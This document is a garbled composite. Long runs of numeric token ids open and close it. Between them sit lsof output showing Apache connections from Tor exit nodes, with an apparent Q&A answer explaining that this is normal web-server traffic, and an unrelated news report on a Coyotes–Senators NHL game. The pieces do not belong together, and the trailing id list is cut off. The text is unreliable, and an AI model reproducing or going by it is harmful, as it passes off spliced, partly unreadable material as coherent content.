3123, 87, 23, 50276, 38862, 2759, 50272, 17, 85, 17, 50276, 32423, 25589, 15, 23260, 15, 3953, 15, 3121, 15, 87, 503, 83, 15, 681, 27, 73, 50254, 50254, 50254, 50266, 50274, 11344, 1168, 13473, 14, 19874, 14, 266, 7983, 6081, 14, 740, 15, 46188, 13552, 1974, 15, 3024, 27, 1229, 36679, 313, 24422, 2925, 45, 44024, 10, 187, 8418, 19, 7288, 1731, 8280, 14, 2203, 50274, 21, 86, 50276, 3123, 87, 23, 50276, 45316, 1348, 50272, 17, 85, 17, 50276, 32423, 475, 27, 2413, 313, 23422, 1400, 10, 187, 8418, 19, 7288, 1731, 8280, 14, 2203, 50275, 805, 86, 50276, 3123, 87, 23, 50276, 3357, 12852, 50272, 17, 85, 17, 50276, 32423, 25589, 15, 23260, 15, 3953, 15, 3121, 15, 87, 503, 83, 15, 681, 27, 73, 50254, 50254, 50254, 50266, 50274, 11344, 1168, 13473, 14, 19874, 14, 266, 7983, 6081, 14, 740, 15, 46188, 13552, 1974, 15, 3024, 27, 27893, 2691, 313, 24422, 2925, 45, 44024, 10, 187, 187, 34, 27, 187, 187, 510, 806, 1673, 275, 253, 3453, 273, 634, 298, 601, 71, 3923, 2722, 326, 43449, 19, 310, 253, 773, 10367, 7556, 668, 2086, 11298, 327, 6162, 5096, 15, 14325, 1618, 561, 285, 38724, 323, 10291, 327, 6162, 5096, 313, 1615, 4284, 432, 9825, 558, 352, 2506, 457, 85, 23070, 731, 15, 1422, 6468, 457, 85, 1677, 1199, 4114, 1491, 670, 634, 4771, 9978, 285, 1293, 667, 3634, 13, 253, 298, 601, 71, 3453, 4453, 751, 368, 457, 250, 3365, 3515, 247, 4384, 4771, 285, 11853, 310, 970, 7608, 281, 4684, 281, 352, 15, 309, 11697, 6558, 247, 1180, 273, 4384, 14903, 285, 309, 3839, 1053, 457, 85, 1557, 835, 253, 5268, 310, 12873, 432, 15, 187, 2042, 368, 971, 281, 871, 625, 670, 253, 10291, 432, 253, 7608, 5268, 13, 368, 943, 2451, 253, 14325, 2412, 4367, 15, 1310, 368, 1904, 457, 85, 2686, 3334, 14325, 13, 840, 368, 457, 306, 1943, 3237, 285, 452, 281, 2968, 342, 247, 25047, 4771, 15, 535, 19537, 187, 187, 5990, 8112, 23502, 13, 33570, 15, 428, 21809, 434, 323, 442, 574, 644, 281, 1132, 11792, 17147, 13, 4868, 3791, 18260, 285, 2186, 327, 323, 581, 14, 41881, 14896, 15, 187, 187, 3039, 1110, 581, 14, 41881, 3958, 3053, 281, 564, 253, 643, 1039, 13, 253, 47408, 4787, 497, 275, 7596, 285, 3260, 597, 574, 281, 4993, 352, 3809, 15, 187, 187, 3726, 4571, 626, 452, 5055, 247, 1805, 673, 281, 513, 352, 15, 187, 187, 35, 12376, 285, 896, 9357, 4052, 13, 253, 47408, 4787, 7402, 247, 29642, 273, 884, 4951, 11655, 275, 581, 14, 41881, 3958, 342, 247, 495, 14, 19, 3330, 689, 253, 29539, 42409, 327, 7948, 2360, 275, 616, 2457, 2165, 1078, 253, 512, 14, 7873, 2740, 15, 187, 187, 3, 1147, 434, 11755, 13, 368, 1007, 387, 247, 581, 14, 41881, 2165, 285, 368, 1007, 387, 253, 2626, 2180, 390, 436, 581, 1132, 1060, 987, 387, 253, 990, 326, 2105, 368, 253, 2165, 13, 533, 352, 434, 1663, 247, 27798, 318, 273, 3253, 937, 21809, 13595, 40771, 3166, 266, 753, 15, 346, 42, 1158, 359, 1472, 2970, 326, 15433, 562, 285, 359, 1833, 755, 1805, 449, 187, 187, 49, 1689, 17473, 4546, 697, 7312, 2810, 14, 936, 14, 783, 14, 5410, 2165, 13, 2970, 247, 4736, 432, 29515, 12810, 282, 3563, 275, 253, 806, 2180, 13, 1529, 432, 3166, 266, 3563, 275, 253, 1273, 15, 7754, 303, 657, 13041, 682, 3534, 253, 47408, 4787, 247, 767, 14, 41881, 1421, 337, 27, 1229, 715, 253, 2626, 2180, 13, 533, 29539, 434, 11007, 26298, 10974, 816, 1668, 7253, 1996, 15, 187, 187, 31137, 253, 2045, 884, 3958, 13, 534, 2908, 1264, 5310, 483, 11655, 13, 21809, 6699, 436, 581, 745, 3212, 4736, 466, 10035, 6212, 13, 665, 1160, 1903, 273, 521, 4567, 26866, 275, 253, 2457, 2180, 15, 187, 187, 4125, 13, 342, 247, 2129, 745, 13, 253, 47408, 4787, 476, 20658, 598, 285, 1611, 281, 4677, 562, 247, 1039, 281, 1978, 616, 598, 14, 395, 14, 3487, 2952, 12860, 896, 327, 271, 598, 34259, 15, 187, 187, 3, 35485, 3198, 247, 2740, 937, 8690, 16908, 308, 5265, 3592, 753, 15, 346, 6872, 2469, 767, 2607, 452, 644, 347, 26970, 8855, 347, 309, 1849, 2326, 285, 309, 1849, 644, 247, 1048, 673, 275, 253, 22037, 15, 1422, 812, 2028, 776, 3773, 497, 16332, 562, 23198, 285, 13318, 15, 309, 1869, 1097, 6671, 497, 2819, 751, 597, 3058, 247, 2740, 11608, 449, 187, 187, 510, 42409, 5604, 812, 897, 581, 347, 597, 1481, 1728, 281, 3167, 253, 512, 14, 7873, 2165, 15, 187, 187, 43468, 26629, 574, 644, 327, 247, 4533, 13, 22915, 387, 1878, 247, 1127, 275, 247, 5453, 14, 15352, 1903, 4951, 3971, 3958, 1078, 10305, 281, 28642, 17563, 285, 8742, 9757, 15, 187, 187, 49579, 342, 247, 2159, 1614, 16576, 846, 10305, 577, 14, 18, 281, 253, 20567, 13, 253, 42409, 7019, 9577, 21809, 7342, 342, 581, 273, 616, 1211, 13, 2167, 597, 497, 1620, 2104, 281, 12394, 512, 253, 1039, 896, 15, 187, 187, 24526, 24179, 20897, 11691, 521, 1722, 394, 4736, 275, 253, 1273, 2180, 285, 26298, 36756, 247, 767, 14, 41881, 1421, 281, 581, 342, 521, 3158, 14, 31984, 4736, 275, 253, 2626, 15, 380, 42409, 1869, 597, 574, 253, 2165, 12331, 417, 1048, 846, 326, 13, 533, 247, 4736, 407, 24179, 20897, 369, 27194, 745, 15, 187, 187, 43468, 26629, 4571, 626, 755, 2712, 2469, 6212, 846, 326, 5747, 7418, 1175, 14512, 285, 253, 42409, 564, 715, 253, 512, 14, 7873, 2740, 327, 247, 1264, 14, 13197, 10305, 29642, 15, 187, 187, 3, 1231, 1472, 417, 2509, 2217, 937, 8690, 5171, 5602, 46959, 753, 15, 346, 1231, 452, 281, 1132, 247, 1652, 2372, 12150, 13, 247, 1652, 2372, 38144, 285, 247, 1652, 2372, 1805, 13, 285, 452, 253, 46402, 625, 685, 359, 574, 327, 436, 7408, 449, 187, 187, 6175, 29539, 2210, 715, 253, 2165, 2819, 281, 755, 896, 327, 3540, 1078, 19355, 253, 512, 14, 7873, 2165, 13, 3579, 25856, 7055, 4448, 369, 11525, 323, 247, 1652, 2075, 2135, 1411, 521, 3438, 2285, 15, 187, 187, 510, 2626, 4583, 2619, 273, 253, 5215, 22037, 7482, 2427, 949, 2600, 784, 16685, 342, 253, 47408, 4787, 326, 20578, 715, 253, 2952, 1078, 4720, 15428, 247, 767, 14, 2913, 13, 370, 19, 15, 23, 3041, 2968, 327, 10733, 15, 3307, 15, 7055, 4448, 574, 642, 2792, 275, 2800, 3958, 846, 15428, 253, 3310, 285, 369, 18445, 281, 29539, 327, 7659, 15, 1722, 323, 2872, 17147, 1342, 5119, 416, 1504, 1559, 324, 15, 187, 187, 49, 1689, 17473, 7458, 1128, 783, 1643, 8014, 665, 2692, 598, 1128, 72, 3160, 264, 7055, 4448, 342, 1766, 375, 1046, 673, 344, 14435, 253, 46402, 285, 33357, 329, 1028, 31511, 13, 896, 846, 5816, 1740, 3958, 342, 247, 2406, 14, 2915, 4975, 13, 8231, 521, 3438, 43827, 281, 253, 6749, 342, 247, 9215, 327, 521, 5909, 5333, 13, 4758, 745, 247, 1355, 660, 4638, 15, 187, 187, 23992, 4448, 574, 581, 1175, 14755, 4839, 30040, 407, 6212, 275, 253, 1273, 2180, 323, 521, 760, 5103, 327, 4736, 15, 187, 187, 3, 1147, 7964, 3589, 626, 253, 2165, 359, 3078, 281, 1132, 11608, 937, 7055, 4448, 753, 15, 346, 1231, 574, 690, 14512, 533, 309, 1904, 626, 5347, 907, 327, 253, 581, 326, 1219, 71, 466, 3534, 479, 627, 15, 733, 816, 3589, 626, 776, 2165, 449, 187, 187, 510, 47408, 4787, 574, 247, 2257, 625, 281, 7664, 670, 685, 616, 3438, 43827, 13, 2167, 15, 187, 187, 39204, 949, 247, 2834, 13726, 275, 253, 10130, 285, 247, 2876, 273, 9478, 13, 21809, 574, 3663, 2800, 273, 5093, 13, 1690, 767, 4951, 281, 1527, 247, 2800, 14, 13197, 2860, 383, 395, 326, 35742, 253, 512, 14, 7873, 2740, 15, 187, 187, 510, 47408, 4787, 3597, 281, 7450, 253, 13870, 2393, 1411, 253, 11870, 42409, 13, 6153, 690, 1175, 14512, 13, 285, 29539, 13465, 896, 342, 690, 1175, 4394, 273, 697, 1211, 1996, 275, 253, 2180, 15, 187, 187, 49, 1689, 17473, 7402, 253, 806, 342, 253, 1421, 13, 6701, 281, 12810, 282, 434, 2626, 4736, 273, 253, 2952, 13, 247, 581, 14, 26320, 2822, 253, 1669, 1501, 846, 31419, 18790, 3452, 264, 6426, 2918, 253, 46402, 387, 253, 987, 1501, 285, 5947, 31836, 275, 2914, 15, 187, 187, 510, 1273, 2180, 369, 247, 2257, 751, 253, 806, 27, 21809, 2315, 1520, 2393, 13, 29539, 10974, 13, 47408, 4787, 755, 247, 4736, 3563, 15, 3166, 266, 11691, 352, 13, 16778, 275, 247, 44789, 273, 3905, 11317, 611, 24578, 1479, 375, 5985, 434, 5103, 342, 521, 37931, 1078, 18750, 272, 352, 275, 387, 253, 1669, 1501, 323, 521, 1458, 394, 273, 253, 2952, 15, 187, 187, 1552, 673, 13, 29539, 574, 271, 3662, 13, 14755, 11583, 7253, 1996, 327, 24179, 20897, 434, 581, 14, 26320, 327, 247, 5322, 3997, 432, 3212, 253, 2036, 407, 13104, 28318, 525, 80, 15, 187, 187, 3251, 358, 5356, 275, 7596, 846, 26298, 9577, 657, 13041, 682, 434, 2285, 14, 16378, 3495, 5784, 4736, 273, 253, 2952, 275, 253, 2626, 13, 253, 47408, 4787, 25640, 1066, 281, 3785, 562, 247, 1199, 14, 34498, 3330, 13, 2403, 253, 1735, 2129, 247, 2372, 625, 30357, 15, 187, 187, 3, 1231, 10062, 670, 352, 1078, 253, 2165, 1128, 2520, 310, 2238, 273, 247, 1364, 14, 6481, 2165, 323, 441, 937, 753, 6212, 13, 665, 4136, 1740, 7342, 327, 3127, 13768, 275, 521, 2045, 1265, 15, 346, 1147, 369, 816, 581, 273, 1110, 3958, 835, 281, 1978, 275, 253, 20269, 359, 574, 281, 3330, 436, 581, 13, 594, 352, 369, 247, 1270, 2285, 3434, 432, 4130, 11608, 449, 187, 187, 16927, 27, 21809, 330, 6258, 9456, 18232, 49036, 4895, 846, 5816, 253, 2045, 2165, 342, 271, 5170, 14, 2915, 4975, 15, 3346, 29539, 5339, 745, 1264, 22414, 285, 556, 4136, 581, 4736, 275, 3285, 1612 ]

24 0t0 TCP *:http (LISTEN) apache2 5496 www-data 12u IPv6 53080 0t0 TCP 207.246.94.76.vultr.com:h ttp->tor-exit-anonymizer-10.appliedprivacy.net:30559 (ESTABLISHED) apache2 5497 www-data 4u IPv6 52924 0t0 TCP *:http (LISTEN) apache2 5497 www-data 12u IPv6 53079 0t0 TCP 207.246.94.76.vultr.com:h ttp->exit4.tor-network.net:56678 (ESTABLISHED) apache2 5498 www-data 4u IPv6 52924 0t0 TCP *:http (LISTEN) apache2 5498 www-data 12u IPv6 53081 0t0 TCP 207.246.94.76.vultr.com:h ttp->tor-exit-anonymizer-10.appliedprivacy.net:30572 (ESTABLISHED) apache2 5499 www-data 4u IPv6 52924 0t0 TCP *:http (LISTEN) apache2 5499 www-data 12u IPv6 53082 0t0 TCP 207.246.94.76.vultr.com:h ttp->tor-exit-anonymizer-10.appliedprivacy.net:30595 (ESTABLISHED) apache2 5500 www-data 4u IPv6 52924 0t0 TCP *:http (LISTEN) apache2 5500 www-data 12u IPv6 53084 0t0 TCP 207.246.94.76.vultr.com:h ttp->tor-exit-anonymizer-10.appliedprivacy.net:30596 (ESTABLISHED) apache2 5526 www-data 4u IPv6 52924 0t0 TCP *:http (LISTEN) apache2 5526 www-data 12u IPv6 53109 0t0 TCP 207.246.94.76.vultr.com:h ttp->tor-exit-anonymizer-10.appliedprivacy.net:31386 (ESTABLISHED) A: The first field in the output of your lsof command shows that apache2 is the “malicious” program listening on Port 80. Apache listens and waits for connections on Port 80 (by default from anywhere); it doesn’t initiate them. You haven’t given much background information about your server setup and without any context, the lsof output looks like you’re simply running a web server and somebody is using Tor to connect to it. I personally maintain a number of web servers and I generally don’t care where the client is connecting from. If you want to know more about the connections from the Tor client, you should check the Apache log files. If you didn’t actually install Apache, then you’ve big problems and have to deal with a compromised server. News GLENDALE, Ariz. - Phoenix's forte had been to play steady defence, score opportunistically and hold on for one-goal wins. When those one-goal games started to go the other way, the Coyotes were in trouble and knew they had to fix it fast. They couldn't have picked a better time to do it. Battered and backpedaling, the Coyotes ended a streak of 10 straight losses in one-goal games with a 3-2 win over the Ottawa Senators on Tuesday night in their final game before the all-star break. "It's funny, you look at a one-goal game and you look at the third period or this one play here right at the end that cost you the game, but it's really a culmination of everything," Phoenix captain Shane Doan said. "I think we're getting that figured out and we'll get better." Phoenix played its usual close-to-the-vest game, getting a goal from Gilbert Brule late in the first period, another from Doan late in the second. Radim Vrbata gave the Coyotes a two-goal lead 1:30 into the third period, but Ottawa's Chris Neil responded just 16 seconds later. Unlike the previous 10 games, which included three shootout losses, Phoenix finished this one off behind goalie Mike Smith, who made 11 of his 32 saves in the final period. Now, with a week off, the Coyotes can heal up and try to figure out a way to keep their up-and-down season headed back on an upswing. "Everybody needs a break," coach Dave Tippett said. "These past two months have been as grueling as I've seen and I've been a long time in the NHL. You could tell our players were worn out mentally and physically. I thought both teams were looking like they needed a break tonight." The Senators certainly could use one as they head home to host the all-star game. Ottawa had been on a roll, earning at least a point in a club-record 11 straight road games before losing to Anaheim and Los Angeles. Playing with a short turnaround after losing 4-1 to the Kings, the Senators twice answered Phoenix goals with one of their own, though they were never able to climb all the way back. Daniel Alfredsson scored his 17th goal in the second period and Neil trimmed a two-goal lead to one with his quick-answer goal in the third. The Senators thought they had the game tied not long after that, but a goal by Alfredsson was waved off. Ottawa couldn't get anything past Smith after that despite numerous good chances and the Senators go into the all-star break on a three-game losing streak. "We're not doing enough," coach Paul MacLean said. "We have to play a little bit harder, a little bit smarter and a little bit better, and have the puck more than we had on this trip." While Ottawa came into the game looking to get back on track before hosting the all-star game, forward Kyle Turris was hoping for a little payback against his former team. The third overall pick of the 2007 NHL draft went through contentious negotiations with the Coyotes that lasted into the season before finally signing a two-year, $2.6 million deal on Nov. 22. Turris had no points in six games after signing the contract and was dealt to Ottawa on Dec. 17 for young defenceman David Rundblad. Phoenix fans—the few thousand who showed up—greeted Turris with boos every time he touched the puck and Adrian Aucoin, back after missing four games with a lower-body injury, dropped his former teammate to the ice with a shoulder on his opening shift, setting off a small scrum. Turris had one good scoring chance stuffed by Smith in the second period for his only shot on goal. "It definitely wasn't the game we wanted to play tonight," Turris said. "We had some chances but I didn't capitalize on the one that Alfie gave me there. It just wasn't our game." The Coyotes had a lot more to worry about than their former teammate, though. Going through a difficult stretch in the schedule and a string of injuries, Phoenix had lost six of seven, including two straight to open a six-game homestand that spans the all-star break. The Coyotes tried to push the pace early against the tired Senators, creating some good chances, and Ottawa fought back with some good ones of its own later in the period. Phoenix ended the first with the lead, thanks to Brule's third goal of the season, a one-timer near the left post after Mikkel Boedker held the puck at the right post and circled in front. The second period was a lot like the first: Phoenix pressured early, Ottawa responded, Coyotes get a goal late. Doan scored it, gathering in a rebound of Lauri Korpikoski's shot with his skate before punching it in at the left post for his 15th of the season. This time, Ottawa had an answer, scoring 91 seconds later on Alfredsson's one-timer on a nice feed from behind the net by Nick Foligno. Seemingly in trouble after Neil answered Vrbata's team-leading 23rd goal of the season in the third, the Coyotes dug down to pull out a much-needed win, making the next week a bit more enjoyable. "We talked about it before the game—this is kind of a must-win game for us," said Smith, who allowed four goals on 21 shots in his previous start. "It was just one of those games where to keep in the hunt we had to win this one, so it was a great team effort from everyone tonight." Notes: Phoenix C Daymond Langkow returned after missing the previous game with an upper-body injury.... Ottawa killed off three penalties and has allowed one goal in 29 power

[ 367, 552, 4123, 9372, 4852, 327, 521, 9881, 15, 500, 3938, 254, 8449, 35526, 35009, 33317, 275, 12143, 443, 2672, 85, 434, 596, 25431, 19670, 3275, 273, 12349, 309, 6285, 411, 7391, 15, 187, 187, 510, 11579, 900, 14, 41, 666, 15, 22343, 864, 30735, 348, 666, 2887, 1903, 15, 380, 43044, 22157, 310, 4907, 846, 26737, 11197, 10213, 11579, 900, 13, 253, 15217, 273, 38343, 434, 806, 9732, 434, 5864, 15, 7243, 247, 4804, 1127, 323, 8083, 1346, 285, 10846, 13, 3063, 253, 3652, 9910, 3055, 32447, 15, 1623, 253, 33619, 13, 309, 11017, 253, 6264, 6007, 4697, 27, 500, 5650, 2596, 14374, 43737, 1889, 312, 561, 19449, 1257, 250, 262, 1947, 15, 3915, 45429, 41831, 2354, 3367, 9558, 4323, 15, 21208, 293, 500, 15, 427, 311, 442, 5689, 2775, 6901, 1539, 56, 29526, 44, 1539, 59, 1843, 42, 313, 52, 3422, 2081, 481, 7650, 833, 13, 309, 2940, 949, 253, 4222, 1106, 285, 715, 253, 33924, 285, 1007, 949, 253, 8323, 715, 253, 14464, 4023, 4461, 15, 12349, 352, 275, 1060, 32, 1621, 7746, 15, 309, 1091, 281, 253, 3652, 2914, 13, 835, 309, 1089, 253, 23861, 27, 187, 187, 1552, 3652, 369, 4232, 275, 34283, 323, 253, 5948, 273, 253, 3858, 1051, 4907, 846, 26737, 11197, 10213, 11579, 900, 1051, 496, 24623, 14, 2385, 253, 2332, 407, 253, 4782, 4668, 1302, 1411, 13575, 14, 25011, 665, 497, 5506, 323, 12137, 275, 253, 611, 59, 29459, 1205, 312, 1405, 2335, 1659, 1060, 15, 187, 187, 18191, 784, 15, 380, 6277, 31523, 13, 38343, 434, 9556, 36759, 15894, 13, 285, 253, 11579, 900, 14, 41, 666, 403, 275, 2810, 18326, 15, 611, 59, 9572, 323, 611, 16430, 290, 34789, 77, 3800, 13, 4495, 1716, 36551, 8647, 15, 1893, 253, 13575, 6251, 432, 253, 29459, 1205, 312, 1405, 1716, 36551, 8647, 497, 1691, 327, 2332, 275, 253, 34496, 387, 253, 11579, 900, 14, 41, 666, 13, 347, 497, 253, 45594, 40240, 1821, 3206, 275, 253, 7701, 273, 253, 2456, 48928, 1520, 16154, 432, 659, 267, 356, 7511, 649, 6490, 15, 380, 23861, 1057, 417, 3748, 352, 533, 352, 369, 1060, 326, 5171, 378, 4662, 18610, 2210, 281, 5517, 253, 2332, 10061, 15, 45734, 13, 625, 35268, 10377, 15, 3010, 963, 1063, 13, 963, 1063, 13195, 6627, 13, 275, 253, 21327, 273, 253, 2360, 15, 45734, 309, 2550, 1691, 9255, 253, 2934, 326, 6277, 434, 13742, 310, 29318, 407, 521, 1894, 275, 253, 6440, 13, 253, 6277, 665, 26604, 27593, 247, 3961, 273, 21219, 18111, 968, 13, 253, 1077, 2173, 7372, 665, 497, 3597, 1060, 275, 247, 3660, 7306, 1022, 2111, 275, 22557, 285, 16906, 10416, 387, 5516, 28957, 12146, 311, 15, 496, 17342, 13, 6818, 1107, 546, 304, 33866, 653, 1392, 350, 13, 6277, 4962, 13, 3815, 275, 521, 10230, 327, 353, 3090, 12408, 423, 3681, 659, 6230, 339, 13, 275, 2810, 18326, 281, 253, 11579, 900, 14, 41, 666, 13, 835, 521, 6440, 14, 420, 641, 1128, 74, 15, 70, 15, 253, 289, 22201, 665, 21021, 2456, 4782, 270, 17259, 29948, 1128, 12796, 1119, 8106, 273, 3660, 7306, 1022, 15, 2434, 1763, 1435, 32, 380, 4984, 310, 562, 15, 1198, 619, 2583, 13, 352, 4453, 751, 6277, 778, 452, 7244, 275, 38343, 13, 275, 3563, 19213, 13, 327, 253, 2553, 273, 1841, 281, 1132, 253, 1708, 285, 41987, 1981, 500, 3938, 254, 35526, 35009, 33317, 285, 671, 253, 25132, 314, 14454, 13740, 1087, 251, 3750, 15, 2091, 275, 4588, 414, 6277, 369, 34150, 281, 38343, 15, 754, 369, 34150, 281, 1462, 2332, 13, 285, 369, 1119, 8106, 13, 533, 1128, 2152, 8140, 1128, 1171, 752, 6617, 32, 187, 187, 4015, 3292, 253, 9835, 24092, 13, 309, 2624, 2439, 3874, 281, 253, 26659, 282, 2059, 375, 611, 3642, 1479, 659, 9309, 15, 4325, 253, 44820, 474, 23308, 13, 309, 2940, 6420, 285, 2831, 253, 16598, 1288, 3090, 33144, 285, 4035, 2112, 743, 1784, 1219, 2971, 13, 1629, 343, 1076, 253, 329, 36357, 267, 2971, 13, 253, 1781, 13345, 14593, 387, 253, 2798, 273, 38343, 15, 187, 187, 42, 452, 644, 247, 2372, 273, 247, 787, 357, 589, 19845, 13, 689, 253, 1107, 13, 672, 352, 3249, 281, 6277, 434, 2926, 13, 347, 368, 1537, 8564, 15, 733, 556, 12759, 281, 253, 1127, 835, 309, 452, 436, 1652, 10934, 285, 309, 956, 247, 6001, 816, 347, 42708, 347, 309, 476, 13, 1223, 16485, 2173, 12282, 273, 1600, 285, 5441, 13, 347, 2167, 597, 497, 1273, 3753, 15, 7243, 672, 309, 369, 387, 247, 3128, 285, 3053, 7746, 6277, 434, 2926, 13, 3192, 253, 673, 281, 873, 253, 6200, 285, 42203, 247, 1180, 273, 16876, 751, 6176, 13, 2137, 13, 8534, 13, 33927, 13, 46539, 13, 619, 4122, 14, 6319, 45093, 37435, 705, 1096, 521, 38037, 16172, 5391, 17972, 285, 27352, 562, 253, 1416, 18223, 666, 17672, 13, 3347, 273, 7195, 13, 285, 275, 642, 673, 574, 10098, 247, 4828, 2727, 3134, 7668, 253, 2926, 273, 253, 12353, 33746, 580, 1997, 46766, 41181, 15, 1621, 13, 619, 37435, 327, 436, 8120, 369, 417, 380, 15913, 71, 489, 73, 6554, 15, 754, 369, 247, 11652, 273, 16349, 418, 10321, 15, 496, 521, 2564, 619, 6277, 35986, 342, 33746, 580, 1997, 46766, 41181, 15, 496, 958, 13, 309, 1353, 9861, 3196, 15, 322, 15379, 1504, 443, 447, 272, 574, 417, 1869, 273, 18223, 666, 17672, 285, 1997, 46766, 41181, 15, 1893, 1581, 479, 253, 2836, 1256, 15, 18223, 666, 17672, 574, 247, 46620, 9542, 2954, 342, 521, 33622, 21803, 14, 23166, 3392, 13, 7195, 13, 2488, 273, 15731, 3354, 9108, 24560, 13, 14645, 275, 28792, 13, 285, 380, 21577, 15939, 15, 496, 521, 1073, 3927, 13, 7195, 17672, 4159, 16934, 314, 273, 521, 13131, 3347, 434, 10763, 15, 11605, 1701, 275, 32000, 13, 18223, 666, 285, 7586, 444, 32410, 5262, 247, 38882, 11948, 15178, 1070, 751, 28297, 275, 271, 473, 264, 532, 351, 15, 1723, 2159, 13, 667, 10199, 281, 18223, 666, 17672, 310, 271, 21558, 281, 8338, 253, 1270, 2021, 17672, 21188, 273, 1485, 383, 13, 39880, 13, 13184, 13, 10995, 21242, 13, 285, 9454, 15, 187, 187, 30326, 282, 2059, 375, 611, 3642, 1479, 659, 9309, 310, 247, 1175, 10488, 7017, 2940, 15, 6865, 2217, 281, 17129, 247, 1643, 3104, 670, 18223, 666, 17672, 281, 247, 4864, 2892, 273, 2534, 2713, 321, 684, 13, 247, 843, 454, 534, 588, 755, 479, 835, 309, 971, 281, 320, 13, 4720, 13, 275, 17730, 281, 4758, 253, 6200, 273, 6277, 434, 1390, 10463, 15, 187, 187, 44381, 666, 17672, 434, 4460, 3189, 545, 28697, 310, 670, 253, 6054, 273, 20069, 16409, 45307, 71, 1541, 13, 271, 24683, 12353, 275, 21219, 6176, 13, 665, 27924, 521, 7765, 281, 253, 3128, 281, 2007, 521, 5249, 15, 3189, 545, 28697, 369, 806, 3863, 275, 26653, 275, 27386, 15, 380, 22134, 11730, 17672, 13, 25752, 273, 5685, 24588, 13, 574, 644, 3811, 275, 33927, 1580, 28507, 15, 17672, 434, 3189, 545, 28697, 310, 247, 10102, 266, 14, 5991, 14, 2148, 71, 1754, 327, 253, 1495, 273, 33746, 2320, 1997, 46766, 41181, 13, 18223, 666, 8, 4929, 14, 249, 14, 6937, 13, 342, 5207, 18223, 666, 574, 247, 4864, 18830, 15, 11977, 32, 3856, 310, 835, 352, 4850, 21643, 285, 2789, 253, 954, 3282, 281, 1339, 26654, 513, 690, 273, 253, 1791, 1601, 27, 187, 187, 688, 32921, 13, 18223, 666, 17672, 13, 521, 7586, 444, 32410, 13, 1997, 46766, 41181, 13, 285, 28084, 7896, 7213, 1441, 527, 574, 512, 4307, 2366, 327, 247, 3924, 3275, 273, 17672, 434, 743, 6362, 3807, 41120, 285, 574, 3912, 433, 949, 6176, 15, 1997, 46766, 41181, 285, 444, 32410, 17672, 1694, 9583, 1223, 18223, 666, 17672, 12014, 1694, 9583, 281, 7213, 1441, 527, 15, 380, 806, 767, 1694, 7028, 275, 33554, 533, 32806, 275, 29063, 1051, 1997, 46766, 41181, 3395, 247, 30101, 18876, 285, 6440, 6423, 15, 3900, 17672, 1620, 1925, 1997, 46766, 41181, 271, 34014, 13, 344, 8176, 346, 78, 3149, 29750, 7822, 3446, 4129, 344, 13964, 1997, 46766, 41181, 275, 11547, 7774, 13, 17672, 32360, 281, 897, 39880, 347, 247, 10014, 275, 253, 4460, 285, 4425, 281, 897, 346, 8265, 2631, 9425, 3770, 1204, 3, 347, 253, 2022, 1894, 434, 5615, 14682, 15, 187, 187, 5072, 545, 28697, 434, 39092, 20069, 16409, 45307, 71, 1541, 310, 271, 512, 2562, 800, 512, 2035, 281, 33746, 580, 1997, 46766, 41181, 15, 1997, 46766, 41181, 369, 1682, 1929, 323, 521, 7914, 273, 3189, 545, 382, 37245, 868, 275, 247, 22716, 3275, 273, 3617, 10666, 434, 15404, 461, 387, 253, 23441, 1026, 1041, 3697, 666, 81, 928, 25531, 275, 38343, 15, 380, 3697, 666, 81, 928, 25531, 9572, 407, 253, 10463, 273, 253, 388, 46359, 67, 18272, 37021, 13, 417, 2080, 432, 253, 16137, 66, 446, 16859, 285, 619, 8614, 13, 285, 417, 1512, 2080, 432, 6277, 434, 3438, 2953, 327, 353, 3090, 12408, 423, 3681, 659, 6230, 339, 15, 187, 187, 3594, 46766, 41181, 310, 14205, 275, 38343, 387, 253, 5531, 5200, 23407, 71, 36839, 15, 754, 4962, 275, 19949, 407, 271, 46539, 273, 14343, 28123, 1223, 22710, 275, 253, 22075, 15, 411, 14956, 24559, 1523, 13, 1997, 46766, 41181, 8, 1390, 3542, 3000, 497, 27, 346, 42, 2868, 309, 452, 2668, 1512, 1142, 14343, 28123, 28, 309, 1928, 11755, 13, 1339, 479, 4600, 352, 745, 449, 187, 187, 44381, 666, 17672, 4962, 273, 271, 46539, 273, 2534, 2713, 321, 684, 13, 1512, 15, 3032, 13184, 310, 440, 1987, 7250, 15, 496, 29336, 265, 13, 275, 24344, 13, 247, 294, 7426, 285, 23201, 17672, 574, 1925, 323, 247, 5149, 273, 402, 26685, 2190, 3060, 434, 48970, 281, 8005, 253, 20754, 3660, 15, 2732, 253, 33406, 13, 846, 1107, 275, 33927, 13, 18223, 666, 17672, 574, 1925, 352, 572, 953, 15, 187, 187, 510, 1854, 281, 38611, 279, 1119, 275, 2534, 2713, 321, 684, 285, 7665, 310, 973, 6727, 5873, 15, 6277, 434, 2471, 275, 38343, 3560, 327, 253, 25296, 273, 247, 2716, 14, 9888, 273, 8249, 2561, 285, 2440, 15, 4825, 300, 37454, 285, 7924, 71, 8449, 353, 2158, 3863, 616, 2929, 327, 4033, 14424, 13, 253, 806, 45904, 280, 13, 275, 40937, 15, 36372, 353, 2158, 574, 4102, 4895, 432, 247, 7408, 281, 7188, 8440, 13, 9972, 13, 285, 4033, 14424, 369, 1677, 697, 7138, 1416, 686, 10754, 2814, 1383, 323, 253, 2846, 434, 5253, 90, 10763, 15, 7188, 2814, 369, 18461, 407, 7612, 777, 275, 399, 1513, 38148, 13, 6176, 13, 253, 2846, 835, 6277, 434, 3392, 21138, 367, 552, 4123, 12431, 253, 806, 13226, 273, 521, 5249, 342, 253, 35013, 29888, 19670, 13, 285, 835, 6277, 434, 4651, 11371, 715, 271, 10230, 13515, 846, 2970, 7028, 275, 29063, 15, 187, 187, 3378, 7188, 2814, 13, 253, 2534, 2713, 33559, 8685, 574, 13207, 15, 10209, 5686, 369, 34689, 26927, 14424, 313, 45, 360, 989, 10, 275, 29145, 15, 19464, 26927, 2713, 531, 313, 47, 358, 2858, 267, 10, 7416, 253, 2021, 275, 33881, 15, 48927, 26927, 2713, 531, 313, 12018, 532, 266, 10, 275, 30953, 369, 581, 273, 253, 806, 2159, 14, 20594, 6083, 15, 596, 532, 290, 531, 313, 49, 290, 30205, 10, 275, 28507, 310, 17452, 14, 14458, 8534, 15, 4033, 2713, 321, 684, 403, 10509, 2556, 281, 616, 7467, 273, 2250, 1108, 5056, 13, 10444, 13, 2159, 285, 17452, 14, 14458, 1128, 2858, 253, 15556, 1877, 5907, 407, 512, 841, 5835, 310, 253, 1072, 13, 38611, 279, 15, 1583, 990, 319, 4600, 281, 1210, 297, 8311, 18944, 285, 323, 3780, 275, 878, 29522, 253, 40621, 494, 10397, 273, 15363, 3811, 15, 1292, 627, 434, 247, 42719, 15, 4033, 2713, 321, 684, 403, 25258, 